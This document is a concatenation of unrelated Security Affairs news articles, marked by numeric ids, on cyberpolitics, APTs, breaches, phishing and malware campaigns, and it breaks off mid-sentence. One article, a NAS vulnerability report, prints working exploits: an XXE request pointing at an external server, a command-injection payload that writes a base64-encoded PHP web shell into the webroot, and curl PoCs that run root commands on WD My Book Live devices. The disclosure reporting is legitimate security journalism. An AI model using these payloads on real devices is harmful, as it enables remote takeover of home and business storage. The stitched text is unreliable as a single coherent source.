“Can you hear me now?”, ….Maybe, it is part of a new format of political discourse where Cyberspace Global Warming (CSGW) is expecting to transform Internet in a more decentralised domain: virtual vs. real. Twitting your discourse is part of a new order on cyberpolitics and global trends. If you transmit a positive change on cyberspace, your discourse must be a contribution to build everyday cyber-democracy., About the Author Francisco Javier Delgado Villarreal, Francisco Javier Delgado Villarreal is a Junior Business Continuity, Cybersecurity and Internet Governance Consultant. His professional experience in Information and Communication Technologies has been developed since 2009 in different arenas, such as International Organizations, Governments and private sector in Ecuador and abroad., Edited by Pierluigi Paganini, (Security Affairs – cyberpolitics, security) |
2504_38404 | The new railway network upgrade in the United Kingdom has raised a lot of concerns, as far as its overall network security is concerned. It seems that over thirty million pounds will be invested in the upgrade, which can potentially lead to loss of control over the railway network, according to the estimates of security experts. Several types of malicious software can result in an increase of hazards, which can in turn deteriorate the quality standards and the safety level of the British railway as a whole., , With a cyber attack of a great extent, even train collisions can happen and this is certainly something that puts all the British citizens at risk, making them wonder as to whether or not the specific investment is worth it. The way in which trains have responded up to now is likely to change and this will lead to unprecedented casualties, damaging the credibility of the railway as a means of transportation. From City University, there have been complaints as to the possibility of such actions resulting in the lack of monitoring the trains., From the Department of Transport in the UK, there has been the following comment on the recent concerns:, “We know that the risk of a cyber-attack will increase as we continue to roll out the digital technology across the network. We work closely with government, the security services, our partners and suppliers in the rail industry and external cyber security specialists to understand the threat to our systems and make sure we have the right controls in place. It is the smart malware malicious software that alters the way the train will respond. So, it will perhaps tell the system the train is slowing down when it is speeding up. Governments are not complacent, individual ministers know this is possible, and they are worried about it. Safeguards are going in, in secret, but it is always possible to get around them. We keep security arrangements under constant review to take account of the threat and any new challenges we face.”, It is worth stating that the same system planned to be installed in the United Kingdom will be expanded and it will stretch all over the European Union. The estimated year in which all the systems will be replaced with this upgrade is 2020; by this time, adequate improvements need to have taken place for the safety of all passengers., Written by: Ali Qamar, Founder/Chief Editor at SecurityGladiators.com, Author Bio:
Ali Qamar is an Internet security research enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. He is the founder and chief editor at Security Gladiators, an ultimate source for cyber security. To be frank and honest, Ali started working online as a freelancer and still shares the knowledge for a living. He is passionate about sharing the knowledge with people, and always try to give only the best. Follow Ali on Twitter @AliQammar57, Pierluigi Paganini, (Security Affairs – railway network, train) |
4666_54745 | Cyber security is one of the most important topics on the agenda of any Government and it will be one of the most debated arguments at the next G7 summit that will be held in Italy next year., I’m currently working with the Cyber G7 Group and I have the opportunity to analyze the approach to the matter of various states and to promote new initiatives aiming to harmonize the cyber-security approach “of governments” by encouraging the cooperation and avoiding situations of conflict., Last week, President Obama moved to end the controversial dual-hat arrangement under which the National Security Agency and the U.S. Cyber Command (Cybercom) are headed by the same military officer., The decision is really important and highlights the strategic importance of the mission assigned to the U.S. Cyber Command. According to a transition official quoted by the Washington Post who spoke on the condition of anonymity, cybersecurity is one of the most important issues in the US Security Strategy., “cybersecurity has been and will be a central focus of the transition effort.” said the official., , The NSA and the U.S. Cyber Command have fundamentally different missions, for this reason, it is essential to separate their control., Let’s remind that the mission of the U.S. Cyber Command is to disrupt and destroy enemies infrastructures and to defend the US against incoming cyber threats., The documents leaked by Snowden clarify the mission of the NSA that is more focused on intelligence operations on adversaries and foreign governments., U.S. Cyber Command has grown over time, its mission has become even clearer with increasing awareness of the cyber threat. Since the Stuxnet against the Natanz nuclear plant, something has changed permanently and dual-hat arrangement is considered no more effective for the US cyber strategy., “While the dual-hat arrangement was once appropriate in order to enable a fledgling Cybercom to leverage NSA’s advanced capabilities and expertise, Cybercom has since matured.” to the point where it needs its own leader, Obama said in a statement accompanying his signing of the 2017 defense authorization bill., Obama believes that the Cybercom urges its own leader, he confirmed it in a statement accompanying his signing of the 2017 defense authorization bill., “The two organizations should have separate leaders who are able to devote themselves to each organization’s respective mission and responsibilities, but should continue to leverage the shared capabilities and synergies developed under the dual-hat arrangement,” Obama wrote about the dual-hat arrangement., The Obama decision to separate the heads of the two organizations was supported by the Defense Secretary Ashton B. Carter and Director of National Intelligence James R. Clapper Jr.,, The idea of separating the heads of the two organizations is not new, President Obama proposed it back in 2013., “Obama had been on the verge of ending the dual-hat leadership in late 2013 but was persuaded to hold off when senior officials, including the NSA’s director at the time, Army Gen. Keith B. Alexander, argued that the two agencies needed one leader to ensure that the NSA did not withhold resources from Cybercom.” wrote The Washington Post., A presidential review commission the end of the dual-hat arrangement and suggest the assignment of the NSA direction to a civilian and not to a military official., The bill that Obama signed bars the splitting of the leadership role until the defense secretary and the chairman of the Joint Chiefs of Staff jointly certify that to do so would not diminish Cybercom’s effectiveness., “The Congress . . . should not place unnecessary and bureaucratic administrative burdens and conditions on ending the dual-hat arrangement at a time when the speed and nature of cyber threats requires agility in making decisions about how best to organize and manage the nation’s cyber capabilities,” added Obama., The transition will not be instantaneous, the Pentagon and the Office of the Director of National Intelligence have planned a period during which the NSA can continue to “provide vital operational support” to Cybercom., Pierluigi Paganini, (Security Affairs – US Government, dual-hat arrangement) |
5650_62564 | WikiLeaks it the last victim of the notorious OurMine hacker group, on Thursday the crew defaced the website of the organization,WikiLeaks.org., The site was defaced and visitors were redirected through a DNS poisoning attack to a page created by OurMine displaying the following messages:, “Hi, it’s OurMine (Security Group), don’t worry we are just testing your…. blablablab, oh wait, this is not a security test! Wikileaks, remember when you challenged us to hack you?”, , Here are the hostile nameservers that appears to be linked with the attack on DNS (h/t @protoxin_) #WikileaksHack pic.twitter.com/TR25gdmNAa, — x0rz (@x0rz) August 31, 2017, , The group accepted the Wikileaks’challenge for hacking its systems. It is important to highlight that WikiLeaks servers were compromised by the OurMine hacker group., The Ourmine hacker group also sent a message to the Anonymous collective:, “Anonymous, remember when you tried to dox us with fake information for attacking wikileaks sic?” states the message. “There we go! One group beat you all! #WikileaksHack lets get it trending on twitter sic!”, Recently the Ourmine hacker group hijacked the official Twitter and Facebook accounts for Sony PlayStation Network (PSN) and claimed to have stolen PSN database., The group also hacked social media accounts of HBO and Game of Thrones., The Saudi Arabian group of white hat hackers hacked the Netflix US Twitter account (@Netflix) in December to promote its website and hacking services, it is known for its attacks against high-profile Twitter accounts. The list of victims is very long and includes Mark Zuckerberg, Twitter co-founder Evan Williams, David Guetta Daniel Ek, former Twitter CEO Dick Costolo, Twitter CEO Jack Dorsey, the CEO and founder of Spotify, Google CEO Sundar Pichai, and many others., WikiLeaks did not comment the hack., Pierluigi Paganini, (Security Affairs – Wikileaks, defacement) |
1854_32592 | Though North Korea has been the prime suspect of the recent Sony Pictures hack last November according to the FBI, there is still great room to doubt such a claim. Especially after the new revelations from Edward Snowden and the reports from Der Spiegel, with the voice of Jacob Appelbaum and others, suspicion has been raised and nobody believes that North Korea is to blame for everything turning bad in the world. It is customary on behalf of the NSA to be linked to tactics of unauthorized surveillance, with the example of last year’s report proving that the Agency has backdoors for a number of different devices toward collecting data., A new wave of documents, leaked by Edward Snowden and published by the Der Spiegel magazine, demonstrates how the NSA has used its servers as hacking platforms (i.e. FOXACID) to hack in the system of foreign governments by implanting a malware. Other components involved in the attacks are Turbine and Turmoil, belonging to the Turbulence family exploitation systems. According to Snowden, the NSA also secretly tapped into South Korean network espionage on North Korean networks to collect information., “Spurred by growing concern about North Korea’s maturing capabilities, the American spy agency drilled into the Chinese networks that connect North Korea to the outside world, picked through connections in Malaysia favored by North Korean hackers and penetrated directly into the North with the help of South Korea and other American allies, according to former United States and foreign officials, computer experts later briefed on the operations and a newly disclosed N.S.A. document.” reports The New York Times., The NSA hackers compromised the North Korean systems by spreading malicious code through spear phishing campaigns:, “The N.S.A.’s success in getting into North Korea’s systems in recent years should have allowed the agency to see the first “spear phishing” attacks on Sony — the use of emails that put malicious code into a computer system if an unknowing user clicks on a link — when the attacks began in early September, according to two American officials.”, , , , One of the hacking scenarios described in the documents leaked by Snowden describes how the NSA’s Tailored Access Office hijacked a botnet known by the codename “Boxingrumble” that initially was used to target the computers of Chinese and Vietnamese dissidents and was being used to target the DOD’s unclassified NIPRNET network., “The NSA was able to deflect the attack and fool the botnet into treating one of TAO’s servers as a trusted command and control (C&C or C2) server. TAO then used that position of trust, gained by executing a DNS spoofing attack injected into the botnet’s traffic, to gather intelligence from the bots and distribute the NSA’s own implant malware to the targets.” reports ArsTechnica., , , , , Based on the new leaks from the world-renowned whistleblower Edward Snowden, the NSA is preparing the USA for digital wars. The Agency has been building its defensive line and asking for people who enjoy breaking things to join their cause. As it seems, thorough preparation is taking place for the digital wars to come – the Internet is certain to play a crucial role to the wars of the future, after all. In order to prevail, they have been aiming to the establishment of the innovative and extremely powerful D weapons (with D referring to Digital), after the Atomic, Biological and Chemical ones of the past., James A. Lewis is an expert in cyberwarfare working at the Center for Strategic and International Studies in Washington. He commented on the determination and certainty of Barack Obama to accuse North Korea of the recent Sony hack:, “Attributing where attacks come from is incredibly difficult and slow. The speed and certainty with which the United States made its determinations about North Korea told you that something was different here — that they had some kind of inside view.” , Such haste and lack of doubt surely raise an eyebrow as to how the United States of America have managed to get solid proof of North Korea’s guilt on the matter., Der Spiegel brought to public attention another top secret document, which reveals that the NSA obtained data from places like North Korea. The document sheds light on the methods used by spying agencies worldwide, with information collected one way or another and data transferred to various destinations. As a result, all the revelations agree that the NSA has been accurate and to the point toward penetrating one of the most powerful systems in the world and that the data collected is meant to help in cases of cyberwarfare., Pierluigi Paganini, (Security Affairs – North Korea, malware) |
1620_30001 | Months after alleged Russian government backed hackers’ targeted NATO computers and European Governments agencies, the Australia intelligence agency have reported possibilities of “real and persistent” stated baked cyber-attacks on participants of the upcoming G20 summit in Brisbane., The highly guarded conference discuses high-powered diplomatic, economic and political issues around the globe and is a good phishing ground for classified government information as warned by the Austrailian Signals Directorate (ASD)., “Targeting of high-profile events such as the G20 by state-sponsored or other foreign adversaries, cyber-criminals and issue-motivated groups is a real and persistent threat,” the directorate said in its G20 cyber-security advisory., World leaders attending the summit in Queensland’s capital on November 15th &16th have been cautioned to watch out social engineering phishing scams through emails., “Ensure the legitimacy of your email communications, if available, take the option to digitally sign your emails when communicating externally as part of your G20 duties,” read the G20 security advise, More importantly, G20 leaders should avoid using public wireless networks for official communication or accepting removable media as gifts some of which could be corrupted to phish sensitive government information., “The Information contained on government systems, whether classified or unclassified, is of strategic interest to cyber adversaries. Information gathered through cyber espionage can be used to gain an economic, diplomatic or political advantage,” read the security advisory., The Austrailian public has also been put on high alert of possible network infiltration., “Australian networks will consequently become a more attractive target for cyber espionage or attack,” said the agency advising organization to apply mitigation techniques such as Apps whitelisting, Apps and OS patching, and limiting administrate rights on computer systems., , The ASD which feeds the Australia army with signal intelligence is yet to pin points possible masterminds of the attacks but China and Russia have already been touted to top the list., “Because China is an obvious suspect and Russia is an obvious suspect, a lot of the hackers all over the world have gone out of their way and developed it into a bit of an art form to lay the blame at China and Russia’s feet for all sorts of hacks,” said CREST Australia’s spokesman Greg Rudd., Hackers have targeted large defense and diplomatic conferences in the past, including spoofed phishing attacks on Asia-Pacific Economic Cooperation in July last year, and cyber-attacks on the Association of Southeast Asian Nations in November 2012., Written by: Ali Qamar, Founder/Chief Editor at SecurityGladiators.com, Author Bio:
Ali Qamar is an Internet security research enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. He is the founder and chief editor at SecurityGladiators.com, an ultimate source for worldwide security awareness having supreme mission of making the internet more safe, secure, aware and reliable. |
7129_75912 | While on a call with one of my colleague, I tried sharing a file which froze my Skype and then it gets crash. However, moving further I tried to debug it with `gdb` and this is what Igot., Cool, so when I read the backtrace, I understood that this might be a memory corruption in `malloc()`., So basically, the memory allocator allocates pages of memory at once for use of programs, and it gives you a pointer within them. Since this files which I am trying to share may be larger for skype to handle during the call (PS: I was just sharing a jpg file in this case which was of 800kB). But for skype if a larger program is allocating larger amounts of memory and writing further past the end of your allocated space, then you’ll end up attempting to write into unallocated memory and may cause a memory corruption., , Being a fan of responsible disclosure, I submitted this to Microsoft on 8 August 2018, but MS says “Upon investigation, we have determined that this submission does not meet the bar for security servicing” 🤦, Okay, but I passed on this message to skype team on twitter, and they looked into this!, At last, this was patched on Skype version 8.29.0.41 on Linux., About the Author: Security Researcher Dhiraj Mishra (@mishradhiraj_), Pierluigi Paganini, (Security Affairs – memory corruption, hacking) |
7315_77259 | NAS devices have become the storage device of choice for many small and medium businesses (SMB). They are inexpensive, easy to operate, and you can add additional storage if you’re running low on space. But is it secure enough to protect your companies data? That was the question in our mind when we brought security researchers Paulos Yibelo and Daniel Eshetu to see if they could exploit any vulnerabilities in the leading NAS devices., We focused on discovering only critical vulnerabilities that can be exploited remotely without any user interaction. Meaning, authentication bypasses weren’t enough. We wanted to execute commands on the devices remotely with the highest privileges. We were successful, in all the devices., We used four popular NAS devices for this project, We successfully gained root remote command execution in the devices, and therefore the network they are on, simply by knowing their IP addresses., Axentra Hipserv is a NAS OS that runs on multiple devices and provides cloud-based login and file storage and management functionalities for different devices. It’s used in different devices from different vendors, the affected devices sharing the firmware are:, The company provides a firmware with a web interface that mainly uses PHP as a serverside language. The web interface has a REST API endpoint and a typical web management interface with a file manager support., Firmware Analysis., After extracting the firmware and decoding the files, the php files were located in /var/www/html/ with the webroot in /var/www/html/html. The main handler for the web interface is homebase.php and RESTAPIController.php is the main handler for the rest API. All the php files were encrypted using IONCube which has a known public decoder and given the version used was an old one, decoding the files didn’t take long., Part One: XXE, After decoding the files, most of the API endpoints and the web interface were not accessible without authentication. One of the few exceptions to this were a few endpoints in the REST API interface. One of those endpoints is located at /api/2.0/rest/aggregator/xml which loads xml data from POST data, although it uses DOMDocument for loading (parsing) the xml which should not be vulnerable to XXE attacks., The version of libxml2 used as a backend in the firmware is an old one. This means that the external entity loading was not disabled by default. which opened the endpoint to exploitation. Through this it was possible to read files and perform SSRF attacks. An example request is given below, POST /api/2.0/rest/aggregator/xml HTTP/1.1
Host: 192.168.10.21
User-Agent: GoogleBot/2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34
Connection: close
Upgrade-Insecure-Requests: 1, <?xml version=”1.0″?>
<!DOCTYPE requests
<!ELEMENT request (#PCDATA)>
<!ENTITY % dtd SYSTEM “
%dtd;
>
<requests>
<request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request>
</requests>, The above request caused the xml parser to make a request to our server at 192.168.56.1 for the file XXE_CHECK. Although LFI was interesting to grab some sensitive files since XML can’t handle binary data it was not possible to dump the SQLite database to get usernames and passwords., That meant we are able to read files and make SSRF requests in any of the below devices., Part Two: RCE, Looking at how the web interface (REST API in particular) performed root actions was the next step. Since the web server runs as a non-root user and it had no sudo rights then it was found that the REST API makes calls to a local daemon named oe-spd, which runs on port 2000 bound to 127.0.0.1., The daemon takes XML data, parses the request and carries out the action without any authentication, except making sure the request came from 127.0.0.1. What’s more, the daemon skips over junk data until it finds the string <?xml version=”1.0″?> as shown in the IDA snippet below., strstr(*input_data, “<?xml version=\”1.0\”?>”);, This made things a lot easier since the request is going to be sent using the HTTP protocol, skipping over junk data (according to the daemon) was a real help. But, since we can’t directly put the URL in the xml file we make the xml parser send a request to a php script (or anything that does the redirection really) that redirects it to here*., Since the daemon is choke full of command execution bugs, it was easy to craft a request that triggered one. Additionally, since the daemon runs with root privileges it’s possible to perform any action on the device. An example payload is given below., * This payload uploads a simple php shell /var/www/html/html/u.php (<device-ip>/u.php?cmd=id)., <?xml version=”1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=”disk”>a`echo PD9waHAKZWNobyAnPHByZT4nOwpzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKZWNobyAnPC9wcmU+JzsKPz4K | base64 -d >/var/www/html/html/u.php`</parameter></proxy_request>, To chain the vulnerabilities seamlessly we need a server the device can make an outbound connection to and the following simple PHP script to redirect the parser to send the payload and handle a little multi-staging of payloads., WD MyBook Live and some models of WD MyCloud NAS contain a remotely exploitable vulnerability that lets anyone run commands on the device as root. The vulnerability exists in the language change and modifies functionality in the REST API, the following PoC demonstrates this flaw., PoC:, curl –kX PUT -d ‘language=en_US`<linx Command Here>`’ Examples:, curl –kX PUT -d ‘language=en_US`id > /var/www/id.txt`’ The poc will create a id.txt file in the webroot containing the output of the ID command. The file can be removed using the following PoC, curl -kX PUT -d ‘language=en_US`rm -rf /var/www/id.txt`’ WizCase Report: Vulnerabilities found on WD My Book, NetGear Stora, SeaGate Home, Medion LifeCloud NAS, , WD:, The vulnerability report CVE-2018-18472 affects My Book Live devices originally introduced to the market between 2010 and 2012. These products have been discontinued since 2014 and are no longer covered under our device software support lifecycle. We encourage users who wish to continue operating these legacy products to configure their firewall to prevent remote access to these devices and to take measures to ensure that only trusted devices on the local network have access to the device., Western Digital takes the security of our customers’ data seriously, and we provide security updates for our products to address issues from both external reports and regular security audits. Additionally, we welcome the opportunity to work with members of the security research community through responsible disclosure to help protect our users. Users who wish to find the latest security update for their Western Digital device may do so on our support portal at Security researchers who wish to contact Western Digital can find contact information as well as a PGP key at , WizCase Research Team , Paulos Yibelo is a reputable security researcher who uncovered multiple security issues and leaks affecting major VPN providers last year, with number of severe IoT CVEs under his name., Daniel Eshetu, an underground security researcher who previously made good remark on the NAS and IoT exploit development. |
2207_36195 | Experts at Kaspersky Lab have uncovered a new advanced persistent threat (APT) dubbed CozyDuke that targeted several high-profile organizations in the second half of 2014. Kaspersky experts have published an interesting blog post that includes numerous technical details on the espionage campaign run by the CozyDuke APT group., The most interesting part of the investigation are the similarities between the are the similarities between the CozyDuke and other APT groups such as CosmicDuke, MiniDuke, and OnionDuke., The hackers belonging the CozyDuke APTs used spear phishing emails as an attack vector, sometimes the message includes links to malicious websites controlled by attackers and used to serve exploit kits, in other case the email included malicious Flash video attachments., “The actor often spearphishes targets with e-mails containing a link to a hacked website.“ Kaspersky researchers explained in the report. “In other highly successful runs, this actor sends out phony flash videos directly as email attachments. A clever example is “Office Monkeys LOL Video.zip”. The executable within not only plays a flash video, but drops and runs another CozyDuke executable. “, , Once compromised the targeted system, the malware checks for the presence of defense solutions from principal security vendors, including Kaspersky, Avira, Comodo, Crystal Security, Dr. Web and Sophos., In order to elude defense solutions, the components of the CozyDuke executable are signed with fake Intel and AMD digital certificates., The experts at Kaspersky discovered that one of the second stage modules of CozyDuke appears to have been developed on the same platform as OnionDuke., “One of the second stage modules of CozyDuke/Cozy Bear, Show.dll, is particularly interesting because it appears to have been built onto the same platform as OnionDuke” continues the report., This means that malicious codes used by CozyDuke and OnionDuke APTs were written by the same developers or the two development teams work together., , The experts also noted that communications between the malicious code and their C&C servers are managed in the same way., The experts explained that MiniDuke, OnionDuke, along with CosmicDuke are managed by Russian-speaking authors and some origin appear to have also CozyDuke., “CozyDuke is definitely connected to these two campaigns, as well as to the OnionDuke cyberespionage operation,” explained Baumgartner, Principal Researcher at Kaspersky Lab’s Global Research and Analysis Team “Every one of these threat actors continues to track their targets, and we believe their espionage tools are all created and managed by Russian-speakers.”, The coreshell and chopstick components for the CozyDuke backdoor remind experts of other advanced persistent threat actor, the APT28 group, which is considered a state-sponsored hacking collective., “CozyDuke’s custom backdoor components appear to slightly evolve over time, with modifications to anti-detection, cryptography, and trojan functionality changing per operation. This rapid development and deployment reminds us of the APT28/Sofacy toolset, especially the coreshell and chopstick components,” Kaspersky researchers noted., The experts at Kaspersky haven’t linked the CozyDuke to the Russian Government, but media agencies and many experts believe that the State Department and White House attacks were carried out by Russian hackers working for the Kremlin, which could be also the government behind these APTs., The experts speculated that CosmicDuke, MiniDuke and OnionDuke are the products of Russian state-sponsored hackers because the campaigns targeted governments with an interest in Russian affairs. The fact that CosmicDuke operations targeted users of illegal substances may also indicate the involvement of law enforcement agencies of the Russian Government., Experts have no doubts, the hackers behind CozyDuke campaign will continue their activities in the near future., Pierluigi Paganini, (Security Affairs – CozyDuke APT, Russia) |
1121_23749 | A 18 year-old security student, Anthony Hariton (@DaKnObCS), from the University of Crete in Greece, has announced that he will present next month a technological trick to fly for free across Europe by generating fake boarding documents designed for Apple’s Passbook app., Passbook is a Popular App designed by Apple iOS that allows users to store boarding passes, and much more like event tickets and coupons, Hariton will make his presentation at the next Hack in the Box conference on May 29th in Amsterdam. , Hariton revealed to have discovered a way to deceive the ticket scanners used in the airport to authorize boarding operations just before passengers step onto the aircraft., , The young student using CSS and specially designed JavaScript is able to create the boarding passes within a web browser, the generated tickets could be passed to the Apple Passbook with common API available to the development community to design software able to manage the pass tickets and interact with Passbook., In any airport boarding personnel use gate scanners to associate passengers’ ticket with the airline’s departure database, a check used that only legitimate passengers can fly with a specific aircraft., The discovery made by Hariton is really alarming, anyone with knowledge of the bypass can take a plane from any airport located in the European Union and fly to a destination of their choice simply creating a bogus boarding pass within Apple’s Passbook app., “Airports have scanners at the boarding gates (and many are implementing these prior to security checks) whereby the data scanned is matched against the airlines’ departure control system to reconcile the passengers on board the flights against those booked on the flight,” “In fact, following the introduction of bar coded boarding passes six years ago, airports have automated the reconciliation process of the boarding pass and the passenger list at the boarding gates.” International Air Transport Association communications officer Albert Tjoeng said., The unique risk for the infiltrators is to be discovered in the case the aircraft they intend to board may be fully booked, as explained by Hariton:, “Currently, if you get into a completely booked flight and you have no place to sit, it will obviously be detected,”, The situation is even more worrying in case of black out, in this specific scenario the operators revert to manual checks, this means that there will be no possibility to verify every fake ticket., Hariton expressed his dissent on the International Air Transport Association’s response, he remarked that the procedure adopted in the European airport for the check of the passengers’ tickets is “malfunctioning” because they lacked “direct access to the airliner database“., Waiting for the official presentation at the conference we could seriously consider this kind of threats, the increased adoption of technology in civil aviation industries requires a constant improvement in cyber security, a flow like this one could open the door to dangerous events, like a hijacking or any other terroristic attack., Pierluigi Paganini, (Security Affairs – Passbook app, hacking) |
6561_71332 | Uber agrees to a new settlement with the Federal Trade Commission over the massive 2016 data breach., “Uber Technologies, Inc. has agreed to expand the proposed settlement it reached with the Federal Trade Commission last year over charges that the ride-sharing company deceived consumers about its privacy and data security practices.” states the FTC., “Due to Uber’s misconduct related to the 2016 breach, Uber will be subject to additional requirements. Among other things, the revised settlement could subject Uber to civil penalties if it fails to notify the FTC of certain future incidents involving unauthorized access of consumer information.”, In November 2017, the Uber CEO Dara Khosrowshahi announced that hackers broke into the company database and accessed the personal data of 57 million of its users, the disconcerting revelation was that the company covered up the hack for more than a year., The attackers accessed also the names and driver’s license numbers of roughly 600,000 of its drivers in the United States., The hack happened in 2016, it was easy for hackers that according to a report published by Bloomberg, obtained credentials from a private GitHub site used by the company development team. The hackers tried to blackmail Uber and demanded $100,000 from the company in exchange for avoiding publish the stolen data., Rather than to notify the data breach to customers and law enforcement as is required by California’s data security breach notification law, the chief of information security Joe Sullivan ordered to pay the ransom and to cover the story destroying any evidence. The payout was disguised as a bug bounty prize complete with non-disclosure agreements signed, , In 2017 the FTC charged the company for deceiving customers with its privacy and data security practices., The first settlement dated back August 2017, according to the FTC, the company failed to apply security measures to protect customers and drivers data, later while investigating the settlement, the Commission discovered that the company did not disclose the 2016 data breach before 2017., According to the new settlement with the Federal Trade Commission, Uber is obliged to disclose any future breach affecting consumer data and share reports from required third-party audits of its privacy program., The company must maintain records related to bug bounty activities, the authorities could assign civil penalties against the company in case it will fail to implement the above actions., “After misleading consumers about its privacy and security practices, Uber compounded its misconduct by failing to inform the Commission that it suffered another data breach in 2016 while the Commission was investigating the company’s strikingly similar 2014 breach,” said Acting FTC Chairman Maureen K. Ohlhausen. “The strengthened provisions of the expanded settlement are designed to ensure that Uber does not engage in similar misconduct in the future.”, Pierluigi Paganini, (Security Affairs – FTC settlement, Uber data breach), , |
5907_65196 | The best news of the week with Security Affairs., Once again thank you!, , Pierluigi Paganini, (Security Affairs – Newsletter) |
5301_59761 | Crooks are using a new technique to deliver malware through PowerPoint documents., Security researchers recently discovered several malicious PowerPoint files that exploit the mouseover events to execute PowerShell code. Threat actors are sending out spam messages with subject lines such as “Purchase Order #130527” and “Confirmation,” and attachments named “order.ppsx” or “invoice.ppsx.”, The expert Ruben Daniel Dodge published an interesting post on the technique, it presented an attack scenario in which when a PowerPoint presentation is opened, it displays the text “Loading…Please wait” as a hyperlink., If the user hovers the mouse over the link, the execution of PowerShell code is triggered. Note that the code is triggered even if the users doesn’t click it., “When the user opens the document they are presented with the text “Loading…Please wait” which is displayed as a blue hyperlink to the user. When the user mouses over the text(which is the most common way users would check a hyperlink) it results in Powerpoint executing PowerShell. This is accomplished by an element definition for a hover action. This hover action is setup to execute a program in PowerPoint once the user mouses over the text. ” wrote the researchers., The Protected View security feature will inform the user of the risks and prompts them to enable allow the execution., , , If the user enables the content, the PowerShell code is executed and a domain named “cccn.nl” is contacted to download and execute a file that is responsible for delivering the malware downloader., The researcher also published the Indicators of Compromise for the attacks he has analyzed., Unfortunately, the technique was already exploited in the wild by cyber criminals for their campaigns., Malware researchers at SentinelOne have observed threat actors leveraging the technique to deliver a new variant of the banking Trojan Zusy, Tinba, and Tiny Banker., “A new variant of a malware called “Zusy” has been found in the wild spreading as a PowerPoint file attached to spam emails with titles like “Purchase Order #130527” and “Confirmation.” It’s interesting because it doesn’t require the user to enable macros to execute. Most Office malware relies on users activating macros to download some executable payload which does most of the malicious stuff, but this malware uses the external program feature instead.” states the report published by SentinelOne., The researchers highlighted that the attacks doesn’t work if the user opens the PowerPoint document with PowerPoint Viewer., “Users might still somehow enable external programs because they’re lazy, in a hurry, or they’re only used to blocking macros. Also, some configurations may possibly be more permissive in executing external programs than they are with macros,” continues SentinelOne Labs., Pierluigi Paganini, (Security Affairs – PowerPoint attack, malware) |
1371_27182 | Yesterday I reported the results of the study conducted by the security researcher Joxean Koret which publicly revealed a series of flaws affecting 14 of 17 major antivirus engines. The security experts remarked that antivirus products are solutions like many others and their installation could anyway enlarge the attack surface of users to the potential presence of security flaws., The Antivirus products are continually challenged by many security experts for their real level of effectiveness, today another news is worrying the cyber security industry: the popular Symantec’s Endpoint Protection product is affected by three zero-day flaws that could be exploited by attackers for privilege escalation., A privilege escalation attack is a type of attack used to grant the attacker, once already logged in, elevated access to the network and its resources (e.g. data and applications)., , The experts at Offensive Security, best known for Kali Linux penetration testing distro, discovered different critical flaws during an audit of the Symantec’s Endpoint Protection product, some of them will be discussed in a presentation at the next BlackHat conference in August. Offensive Security plans to preview proof-of-concept code during its “Advanced Windows Exploitation” training class at the conference in Las Vegas., “In a recent engagement, we had the opportunity to audit the Symantec Antivirus Endpoint Protection solution, where we found a multitude of vulnerabilities. Some of these made it to CERT, while others have been scheduled for review during our upcoming AWE course at Black Hat 2014, Las Vegas. Ironically, the same software that was meant to protect the organization under review was the reason for its compromise.” states an announcement published by Offensive Security on their website., The experts at Offensive Security will release the code for the privilege escalation exploit in the next days, meantime, they have already published a video-POC., , , The three privilege escalation vulnerabilities have been already reported to computer emergency response teams, but Symantec firm hasn’t yet replied., The representatives of Offensive Security firm didn’t specifically target Endpoint Security during the audit process., Let’s think about the potential effects of the exploitation on a large-scale of such kind of vulnerabilities affecting Symantect Endpoint Protection products, a bad actor could potentially exploit a critical flaw to gain the access to “hundreds if not thousands of computers” in the financial services company., Pierluigi Paganini, Security Affairs – (Antivirus, Symantec ) |
3667_46735 | Security researchers at Netcraft spotted a new insidious phishing campaign that leveraged Facebook’s own trusted TLS certificate that is valid for all facebook.com subdomains., The phishing page is designed to look like a Facebook verification form that is served via the Facebook app platform. This phishing attack works even when the victim in not already logged in. The crooks create an app that serves the phishing page from an external website via an iframe., “This makes the page appear legitimate, even to many seasoned internet users; however, the verification form is actually served via an iframe from an external site hosted by HostGator. The external website also uses HTTPS to serve the fraudulent content, so no warnings are displayed by the browser.” states the blog post published by Netcraft, The attackers used the HTTPS for the external web site to serve the malicious page, so no warnings are displayed to the victims by their browser., , When victims visit the phishing page, the information they provide are sent back to the attacker’s server., The researchers at Netcraft noticed that crooks also used another trick to deceive victims; when the victims first submit the information on the phishing page, an error message is displayed to the user that warns of incorrect credentials., “To win over anyone who remains slightly suspicious, the phishing site always pretends that the first set of submitted credentials were incorrect. A suspicious user might deliberately submit an incorrect username and password in order to test whether the form is legitimate, and the following error message could make them believe that the credentials really are being checked by Facebook.” continues Netcraft., Once the victims enter the login credentials for the second time, the page displays a message inviting them to wait up to 24 hours for the approval of the submission, just the time to allow attackers to take over the account and use it for a number of fraudulent activities., An excellent protection against these attacks is the two-step verification implemented by Facebook on its accounts. Facebook also implements a login alerts feature to notify users when their account has been accessed from an unknown device., , Pierluigi Paganini, (Security Affairs – Facebook Phishing, hacking) |
5641_62479 | Attackers send phishing emails with a malicious code link that tricks victims into believing that it points to a lost private picture or a Chrome update., When victims click on the shortened links in the SMS messages the MoqHao Android banking Trojan is installed, then the malicious code attempts to spread by sending phishing SMS messages to the victims’ contacts., “Last month, a number of users started posting on South Korean sites screenshots of suspicious SMS messages phishing texts (also known as smishing) to lure them into clicking on shortened URLs.” reads the analysis published by McAfee., “When the victim clicks on the shortened URL using an Android device, a JavaScript script on the web server checks the user agent of the browser and shows an alert message asking to update Chrome to a new version, which is in fact a malicious fake Chrome Android app.” “If the URL is accessed by any other device (such as an iPad), the web server redirects the user to a security page of Naver, a popular search engine and portal site in South Korea.”, , The MoqHao banking Trojan can execute commands send by the C&C server and collect sensitive information via a local Google phishing website., Unlike Android banking Trojans, MoqHao includes java-httpserver to host a phishing page that opens in the default browser once the user clicks on a fake alert message., Once the victim has downloaded APK and installed it, the malicious code requests various suspicious permissions, such as “directly call phone numbers,” “read your contacts,” or “read your text messages.”In order to achieve persistence, the malware asks every second for device administrator privileges, even if the victim dismisses it., MoqHao monitors on the user activities by registering a broadcast receiver for system events (i.e. New package install, screen state, SMS messages)., Then the malware also connects to 